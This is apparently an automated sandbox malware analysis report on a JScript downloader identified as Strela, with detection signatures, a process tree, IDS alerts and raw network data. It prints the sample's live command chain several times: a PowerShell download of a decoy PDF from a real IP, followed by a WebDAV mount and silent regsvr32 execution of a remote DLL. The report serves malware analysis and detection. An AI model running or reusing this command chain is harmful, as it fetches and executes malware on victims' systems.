Edit tour

Windows Analysis Report
2581826545127854631.js

Overview

General Information

Sample name:	2581826545127854631.js
Analysis ID:	1588487
MD5:	299863845a82a8003a037c592b6cf5d3
SHA1:	13548a576a9abeaddd482673a857f9155aa315db
SHA256:	04bb0c40d65c306e93e307d8f576fc4362900f0fd09ccee1f6168da26a441c37
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 5016 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2581826545127854631.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 5596 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\228212253724838.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1516 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2056 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 6876 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7176 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7420 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1640,i,5857169299184739867,14283863373376698252,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 6736 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 3668 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7252 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 5016	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\228212253724838.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5596, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2056, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\228212253724838.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5596, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2056, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2581826545127854631.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2581826545127854631.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2581826545127854631.js", ProcessId: 5016, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 3668, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49731

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\228212253724838.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\228212253724838.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2581826545127854631.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5016, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\228212253724838.dll, ProcessId: 5596, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\228212253724838.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\228212253724838.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2581826545127854631.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5016, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\228212253724838.dll, ProcessId: 5596, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\228212253724838.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\228212253724838.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2581826545127854631.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5016, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\228212253724838.dll, ProcessId: 5596, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\228212253724838.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\228212253724838.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2581826545127854631.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5016, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\228212253724838.dll, ProcessId: 5596, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\228212253724838.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\228212253724838.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2581826545127854631.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5016, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\228212253724838.dll, ProcessId: 5596, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2581826545127854631.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2581826545127854631.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2581826545127854631.js", ProcessId: 5016, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\228212253724838.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5596, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2056, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6736, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 3668, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7252, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6736, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 3668, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\228212253724838.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\228212253724838.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2581826545127854631.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5016, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\228212253724838.dll, ProcessId: 5596, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T01:54:01.985934+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T01:54:04.981245+0100	1810005	1	Potentially Bad Traffic	192.168.2.4	49731	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T01:54:01.985934+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 2581826545127854631.js

Virustotal: Detection: 8%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 2581826545127854631.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 2581826545127854631.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.4:49731 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.4:49730 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 00:54:01 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 